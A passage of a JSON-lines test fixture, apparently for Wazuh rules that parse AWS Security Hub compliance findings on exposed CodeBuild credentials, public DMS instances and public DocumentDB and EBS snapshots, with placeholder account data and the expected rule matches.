'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.RelatedRequirements": "['PCI DSS v3.2.1/8.2.1, NIST.800-53.r5 SA-3']", "aws.finding.Compliance.SecurityControlId": "CodeBuild.1", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-22T09:54:13.094Z", "aws.finding.Description": "This control checks whether an AWS CodeBuild project Bitbucket source repository URL contains personal access tokens or a user name and password.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "0", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Protect/Secure development']", "aws.finding.FirstObservedAt": "2024-01-22T09:54:13.094Z", "aws.finding.GeneratorId": "security-control/CodeBuild.1", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/CodeBuild.1/finding/abcde123-efgh-ijk-567", "aws.finding.LastObservedAt": "2024-05-01T22:12:01.146Z", "aws.finding.ProcessedAt": "2024-05-01T22:12:05.695Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/CodeBuild.1/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsCodeBuild', 'Region': 'abcde', 'Id': 'arn:aws:codebuild:abcde:123456789000:build/david-test-jan-22-2024'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "0", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "CodeBuild Bitbucket source repository URLs should not contain sensitive credentials", "aws.finding.Types": "['Protect/Secure development']", "aws.finding.UpdatedAt": "2024-05-01T22:11:50.865Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/01/22/wazuh-security-hub-findings-1-2024-05-01-22-12-07-abcde-fgh-ijkl", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.RelatedRequirements", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99837", "level": "12", "expected_decoder": "json", "expected_rule": "99837", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - CodeBuild Bitbucket source repository URL contains sensitive credentials."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-07-abcde-fgh-ijkl\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Protect/Secure development\"],\"Description\":\"This control checks whether the project contains the environment variables AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"CodeBuild.2\",\"RelatedRequirements\":[\"PCI DSS v3.2.1/8.2.1, NIST.800-53.r5 IA-5(7), NIST.800-53.r5 SA-3\"],\"AssociatedStandards\":[{\"StandardsId\":\"ruleset/cis-aws-foundations-benchmark/v/1.2.0\"},{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-22T09:54:13.094Z\",\"CreatedAt\":\"2024-01-22T09:54:13.094Z\",\"LastObservedAt\":\"2024-05-01T22:12:01.146Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Protect/Secure development\"],\"Severity\":{\"Normalized\":0,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"codebuild-project-envvar-awscred-check-abcde123\",\"RelatedAWSResources:0/type\":\"AWS::CodeBuild::Project\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:codebuild:abcde:123456789000:trail/david-test-jan-22-2024\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/CodeBuild.2/finding/abcde123-efgh-ijk-567\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/CodeBuild.2/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/CodeBuild.2\",\"RecordState\":\"ACTIVE\",\"Title\":\"CodeBuild project environment variables should not contain clear text credentials\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":0,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-02T22:11:50.865Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/CodeBuild.2/finding/abcde123-efgh-ijk-567\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsCloudTrailTrail\",\"Region\":\"abcde\",\"Id\":\"arn:aws:codebuild:abcde:123456789000:build/david-test-jan-22-2024\"}],\"ProcessedAt\":\"2024-05-02T22:12:05.695Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'ruleset/cis-aws-foundations-benchmark/v/1.2.0'}, {'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.RelatedRequirements": "['PCI DSS v3.2.1/8.2.1, NIST.800-53.r5 IA-5(7), NIST.800-53.r5 SA-3']", "aws.finding.Compliance.SecurityControlId": "CodeBuild.2", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-22T09:54:13.094Z", "aws.finding.Description": "This control checks whether the project contains the environment variables AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "0", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Protect/Secure development']", "aws.finding.FirstObservedAt": "2024-01-22T09:54:13.094Z", "aws.finding.GeneratorId": "security-control/CodeBuild.2", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/CodeBuild.2/finding/abcde123-efgh-ijk-567", "aws.finding.LastObservedAt": "2024-05-01T22:12:01.146Z", "aws.finding.ProcessedAt": "2024-05-02T22:12:05.695Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/CodeBuild.2/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsCloudTrailTrail', 'Region': 'abcde', 'Id': 'arn:aws:codebuild:abcde:123456789000:build/david-test-jan-22-2024'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "0", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "CodeBuild project environment variables should not contain clear text credentials", "aws.finding.Types": "['Protect/Secure development']", "aws.finding.UpdatedAt": "2024-05-02T22:11:50.865Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-07-abcde-fgh-ijkl", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.RelatedRequirements", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99838", "level": "12", "expected_decoder": "json", "expected_rule": "99838", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - CodeBuild project environment variable contain clear text credentials."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/01/22/wazuh-security-hub-findings-1-2024-05-01-22-12-07-abcde-fgh-ijkl\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Protect/Secure network configuration\"],\"Description\":\"This control checks whether AWS DMS replication instances are public.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"DMS.1\",\"RelatedRequirements\":[\"PCI DSS v3.2.1/1.2.1,PCI DSS v3.2.1/1.3.1,PCI DSS v3.2.1/1.3.4,PCI DSS v3.2.1/1.3.2,PCI DSS v3.2.1/1.3.6, NIST.800-53.r5 AC-21, NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21), NIST.800-53.r5 AC-6, NIST.800-53.r5 SC-7, NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(16), NIST.800-53.r5 SC-7(20), NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(3), NIST.800-53.r5 SC-7(4), NIST.800-53.r5 SC-7(9)\"],\"AssociatedStandards\":[{\"StandardsId\":\"ruleset/cis-aws-foundations-benchmark/v/1.2.0\"},{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-05T09:26:17.001Z\",\"CreatedAt\":\"2024-01-05T09:26:17.001Z\",\"LastObservedAt\":\"2024-05-01T22:12:20.039Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Protect/Secure network configuration\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"dms-replication-not-public-664bd5dd\",\"RelatedAWSResources:0/type\":\"AWS::DMS::ReplicationInstance\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:iam::123456789000:abcd\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/DMS.1/finding/abcd-bcde-1234-5678\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/DMS.1/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/DMS.1\",\"RecordState\":\"ACTIVE\",\"Title\":\"Database Migration Service replication instances should not be public\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-01T22:12:09.158Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/DMS.1/finding/abcd-bcde-1234-5678\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsDMS\",\"Region\":\"abcde\",\"Id\":\"AWS::::Account:123456789000\"}],\"ProcessedAt\":\"2024-05-01T22:12:24.049Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'ruleset/cis-aws-foundations-benchmark/v/1.2.0'}, {'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.RelatedRequirements": "['PCI DSS v3.2.1/1.2.1,PCI DSS v3.2.1/1.3.1,PCI DSS v3.2.1/1.3.4,PCI DSS v3.2.1/1.3.2,PCI DSS v3.2.1/1.3.6, NIST.800-53.r5 AC-21, NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21), NIST.800-53.r5 AC-6, NIST.800-53.r5 SC-7, NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(16), NIST.800-53.r5 SC-7(20), NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(3), NIST.800-53.r5 SC-7(4), NIST.800-53.r5 SC-7(9)']", "aws.finding.Compliance.SecurityControlId": "DMS.1", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:26:17.001Z", "aws.finding.Description": "This control checks whether AWS DMS replication instances are public.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Protect/Secure network configuration']", "aws.finding.FirstObservedAt": "2024-01-05T09:26:17.001Z", "aws.finding.GeneratorId": "security-control/DMS.1", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/DMS.1/finding/abcd-bcde-1234-5678", "aws.finding.LastObservedAt": "2024-05-01T22:12:20.039Z", "aws.finding.ProcessedAt": "2024-05-01T22:12:24.049Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/DMS.1/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsDMS', 'Region': 'abcde', 'Id': 'AWS::::Account:123456789000'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "Database Migration Service replication instances should not be public", "aws.finding.Types": "['Protect/Secure network configuration']", "aws.finding.UpdatedAt": "2024-05-01T22:12:09.158Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/01/22/wazuh-security-hub-findings-1-2024-05-01-22-12-07-abcde-fgh-ijkl", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.RelatedRequirements", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99839", "level": "12", "expected_decoder": "json", "expected_rule": "99839", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - Database Migration Service replication instance is public."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/01/22/wazuh-security-hub-findings-1-2024-05-01-22-12-07-abcde-fgh-ijkl\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Protect/Secure network configuration\"],\"Description\":\"This control checks whether an Amazon DocumentDB manual cluster snapshot is public.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"DocumentDB.3\",\"RelatedRequirements\":[\"NIST.800-53.r5 AC-21, NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21), NIST.800-53.r5 AC-6, NIST.800-53.r5 SC-7, NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(16), NIST.800-53.r5 SC-7(20), NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(3), NIST.800-53.r5 SC-7(4), NIST.800-53.r5 SC-7(9)\"],\"AssociatedStandards\":[{\"StandardsId\":\"ruleset/cis-aws-foundations-benchmark/v/1.2.0\"},{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-05T09:26:17.001Z\",\"CreatedAt\":\"2024-01-05T09:26:17.001Z\",\"LastObservedAt\":\"2024-05-01T22:12:20.039Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Protect/Secure network configuration\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"docdb-cluster-snapshot-public-prohibited-664bd5dd\",\"RelatedAWSResources:0/type\":\"AWS::RDS:DBSnapshot\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:iam::123456789000:abcd\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/DocumentDB.3/finding/abcd-bcde-1234-5678\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/DocumentDB.3/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/DocumentDB.3\",\"RecordState\":\"ACTIVE\",\"Title\":\"Amazon DocumentDB manual cluster snapshots should not be public\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-01T22:12:09.158Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/DocumentDB.3/finding/abcd-bcde-1234-5678\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsDMS\",\"Region\":\"abcde\",\"Id\":\"AWS::::Account:123456789000\"}],\"ProcessedAt\":\"2024-05-01T22:12:24.049Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'ruleset/cis-aws-foundations-benchmark/v/1.2.0'}, {'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.RelatedRequirements": "['NIST.800-53.r5 AC-21, NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21), NIST.800-53.r5 AC-6, NIST.800-53.r5 SC-7, NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(16), NIST.800-53.r5 SC-7(20), NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(3), NIST.800-53.r5 SC-7(4), NIST.800-53.r5 SC-7(9)']", "aws.finding.Compliance.SecurityControlId": "DocumentDB.3", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:26:17.001Z", "aws.finding.Description": "This control checks whether an Amazon DocumentDB manual cluster snapshot is public.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Protect/Secure network configuration']", "aws.finding.FirstObservedAt": "2024-01-05T09:26:17.001Z", "aws.finding.GeneratorId": "security-control/DocumentDB.3", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/DocumentDB.3/finding/abcd-bcde-1234-5678", "aws.finding.LastObservedAt": "2024-05-01T22:12:20.039Z", "aws.finding.ProcessedAt": "2024-05-01T22:12:24.049Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/DocumentDB.3/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsDMS', 'Region': 'abcde', 'Id': 'AWS::::Account:123456789000'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "Amazon DocumentDB manual cluster snapshots should not be public", "aws.finding.Types": "['Protect/Secure network configuration']", "aws.finding.UpdatedAt": "2024-05-01T22:12:09.158Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/01/22/wazuh-security-hub-findings-1-2024-05-01-22-12-07-abcde-fgh-ijkl", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.RelatedRequirements", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99840", "level": "12", "expected_decoder": "json", "expected_rule": "99840", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - Amazon DocumentDB manual cluster snapshot is public."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-04-abcde-fgh-ijkl\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Effects/Data Exposure\"],\"Description\":\"This AWS control checks whether Amazon Elastic Block Store snapshots are not publicly restorable.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"EC2.1\",\"AssociatedStandards\":[{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-05T09:26:37.617Z\",\"CreatedAt\":\"2024-01-05T09:26:37.617Z\",\"LastObservedAt\":\"2024-05-02T22:12:25.627Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Effects/Data Exposure\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"securityhub-ebs-snapshot-public-restorable-check-661f086b\",\"RelatedAWSResources:0/type\":\"AWS::Config::ConfigRule\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:iam::123456789000:abcd\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/EC2.1/finding/abcd-bcde-1234-5678\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/EC2.1/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/EC2.1\",\"RecordState\":\"ACTIVE\",\"Title\":\"EBS snapshots should not be publicly restorable\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-02T22:12:08.383Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/EC2.1/finding/abcd-bcde-1234-5678\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsAccount\",\"Region\":\"abcde\",\"Id\":\"AWS::::Account:123456789000\"}],\"ProcessedAt\":\"2024-05-02T22:12:31.673Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "EC2.1", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:26:37.617Z", "aws.finding.Description": "This AWS control checks whether Amazon Elastic Block Store snapshots are not publicly restorable.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Effects/Data Exposure']", "aws.finding.FirstObservedAt": "2024-01-05T09:26:37.617Z", "aws.finding.GeneratorId": "security-control/EC2.1", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/EC2.1/finding/abcd-bcde-1234-5678", "aws.finding.LastObservedAt": 